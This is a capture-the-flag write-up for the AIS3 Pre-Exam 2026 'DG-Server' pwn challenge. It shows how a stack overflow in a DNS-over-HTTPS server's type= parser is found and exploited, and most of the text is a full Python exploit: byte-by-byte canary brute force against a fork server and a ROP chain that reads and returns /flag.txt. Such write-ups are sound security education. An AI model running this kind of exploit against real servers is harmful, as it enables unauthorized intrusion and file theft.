【AIS3 Pre-Exam 2026 Writeup】Pwn - DG-Server
I opened scripts/dg-verify.py first.
The client sends a normal HTTP request:
path = f"/dns-query?name={quote(name, safe='')}&type={quote(rrtype, safe='')}"
request = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
"Accept: application/dns-json\r\n"
"Connection: close\r\n"
"\r\n"
).encode()
Attack surface is not raw DNS. It is an HTTP parser with name= and type= query parameters.
Normal check:
python3 scripts/dg-verify.py @chals1.ais3.org:57573 www.curious.sleeping A
That only proved the public record worked. It did not touch /flag.txt.
Binary protections:
file dg-server
checksec --file=dg-server
dg-server: ELF 64-bit LSB executable, statically linked, stripped
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
No PIE is nice. Addresses are fixed. NX means no shellcode. checksec says no canary, but that was misleading for the function I cared about. The local frame still used a stack canary.
No source was shipped for the server, so the next source-like thing was disassembly.
Request handler was around:
0x409440
It reads an HTTP request, accepts GET and DOH , then parses query parameters. The parser helpers around these addresses were useful:
0x408e1e parse request
0x408d69 find query parameter
0x40838f raw token length
0x40840a decoded token length
0x4084da decode one URL-encoded byte
Bug was in the response builder:
0x40923f
It creates a small stack buffer at:
rbp - 0x40
Next call:
0x40917f(req, rbp - 0x40)
That function copies the decoded type= bytes into the stack buffer using the decoded type length. No bounds check.
Stack layout from reversing:
56 bytes -> canary
64 bytes -> saved rbp
72 bytes -> saved rip
I did not trust this offset at first. GDB was useful only for checking the local frame shape; the remote canary behavior still needed probes. Wrong canary byte killed the child. Correct prefix gave a normal HTTP response.
type= still needs to pass the query type parser. Random bytes crash or get rejected too early.
Payload base:
base = bytearray(b"A" + b"B" * 55)
base[18] = 1
base[19] = 0
payload[0] is still A. The bytes at 18 and 19 keep a later qtype length check happy. The rest is just padding to the canary.
Server is a fork server. Parent stays alive, child handles one request. Canary is inherited by children. That gives a byte-by-byte oracle:
correct canary prefix -> HTTP response
wrong byte -> child dies
Canary brute force starts with \x00, then probes the other 7 bytes.
One run gave:
00663da8f7326168
A new instance gives a new canary, so the exploit should brute it and use it right away.
GOT overwrite was not useful. No PIE gives code addresses, but the bug is a stack overflow and the binary is static. I also thought about using a raw syscall gadget. That failed in a non-obvious way.
A tempting syscall instruction was at:
0x4020c2
At first I treated it like syscall ; ret. Bad assumption. It is a syscall inside another function. After the syscall returns, execution continues in that function, not back to my ROP chain.
Symptom was strange: a small chain could write one debug string to the socket, then stop. No second syscall. No clean ROP flow.
No trigger, no path.
Back to disassembly. Real libc wrapper functions inside the static binary do syscall and return normally.
Useful wrappers:
open 0x73f510
read 0x73f630
write 0x73f6f0
I also found an openat wrapper, but I almost used the wrong address. Jumping into the middle at 0x799270 was unsafe because the function frame was not set up. The real wrapper entry was earlier. In the end open() at 0x73f510 was cleaner.
Useful gadgets:
pop rax ; ret 0x694ed4
pop rdi ; ret 0x69a383
pop rsi ; ret 0x46958e
pop rdx ; ret 0x4d5513
mov qword ptr [rdi], rdx; ret 0x728853
mov edi, eax ; ret 0x6bd710
Writable memory:
.bss = 0x8fc000
ROP plan:
write "/flag.txt\x00" into .bss
open("/flag.txt", 0, 0)
mov edi, eax
read(fd, .bss + 0x100, 0x100)
write(socket_fd, .bss + 0x100, 0x100)
Socket fd was 4 during testing.
No useful glibc/printf path here. This is a static HTTP parser overflow. The only libc part I used was the static syscall wrappers, because the raw syscall gadget did not return to ROP.
Full exploit:
#!/usr/bin/env python3
import concurrent.futures
import re
import socket
import struct
import time
HOST = "chals1.ais3.org"
PORT = 57573
def p64(x):
return struct.pack("<Q", x & ((1 << 64) - 1))
def u64(b):
return struct.unpack("<Q", b.ljust(8, b"\0"))[0]
def enc(bs):
out = []
for b in bs:
if 48 <= b <= 57 or 65 <= b <= 90 or 97 <= b <= 122 or b in b"-_.~":
out.append(chr(b))
else:
out.append("%%%02X" % b)
return "".join(out)
def make_base():
base = bytearray(b"A" + b"B" * 55)
base[18] = 1
base[19] = 0
return bytes(base)
def send_payload(payload, timeout=3):
req = (
f"GET /dns-query?name=www.curious.sleeping.&type={enc(payload)} HTTP/1.1\r\n"
f"Host: x\r\n"
f"Connection: close\r\n"
f"\r\n"
).encode()
s = socket.create_connection((HOST, PORT), timeout=timeout)
s.settimeout(timeout)
s.sendall(req)
data = b""
while True:
try:
chunk = s.recv(4096)
if not chunk:
break
data += chunk
except socket.timeout:
break
s.close()
return data
def probe_canary(prefix):
payload = make_base() + prefix
try:
data = send_payload(payload, timeout=1)
return data.startswith(b"HTTP/")
except Exception:
return False
def brute_canary():
canary = bytearray([0])
print("[*] brute canary")
for idx in range(1, 8):
found = []
start = time.time()
def one(b):
test = bytes(canary) + bytes([b])
return b if probe_canary(test) else None
with concurrent.futures.ThreadPoolExecutor(max_workers=96) as ex:
for r in ex.map(one, range(256)):
if r is not None:
found.append(r)
if not found:
raise RuntimeError(f"failed at canary byte {idx}")
canary.append(found[0])
print(f"[*] byte {idx}: {found[0]:02x}, canary={canary.hex()}, {time.time() - start:.2f}s")
return bytes(canary)
def build_rop(canary):
pop_rax = 0x694ED4
pop_rdi = 0x69A383
pop_rsi = 0x46958E
pop_rdx = 0x4D5513
mov_qword_ptr_rdi_rdx = 0x728853
mov_edi_eax = 0x6BD710
open_func = 0x73F510
read_func = 0x73F630
write_func = 0x73F6F0
# Only used at the very end. The flag is already sent by write().
syscall_mid = 0x4020C2
bss = 0x8FC000
flagbuf = bss + 0x100
chain = b""
chain += p64(pop_rdi) + p64(bss)
chain += p64(pop_rdx) + p64(u64(b"/flag.tx"))
chain += p64(mov_qword_ptr_rdi_rdx)
chain += p64(pop_rdi) + p64(bss + 8)
chain += p64(pop_rdx) + p64(u64(b"t\0"))
chain += p64(mov_qword_ptr_rdi_rdx)
chain += p64(pop_rdi) + p64(bss)
chain += p64(pop_rsi) + p64(0)
chain += p64(pop_rdx) + p64(0)
chain += p64(open_func)
chain += p64(mov_edi_eax)
chain += p64(pop_rsi) + p64(flagbuf)
chain += p64(pop_rdx) + p64(0x100)
chain += p64(read_func)
chain += p64(pop_rdi) + p64(4)
chain += p64(pop_rsi) + p64(flagbuf)
chain += p64(pop_rdx) + p64(0x100)
chain += p64(write_func)
chain += p64(pop_rax) + p64(60)
chain += p64(pop_rdi) + p64(0)
chain += p64(syscall_mid)
payload = make_base()
payload += canary
payload += b"C" * 8
payload += chain
return payload
def main():
canary = brute_canary()
print(f"[*] canary = {canary.hex()}")
payload = build_rop(canary)
print(f"[*] payload length = {len(payload)}")
data = send_payload(payload, timeout=3)
print(data[:1024])
m = re.search(rb"AIS3\{[^\r\n\x00}]*\}", data)
if m:
print("[+] FLAG:", m.group(0).decode())
else:
print("[-] flag not found")
if __name__ == "__main__":
main()
Output:
AIS3{B4d_bAd_64d_D0H_p4r(rr)rs3r[rr]r_:(((_QQ}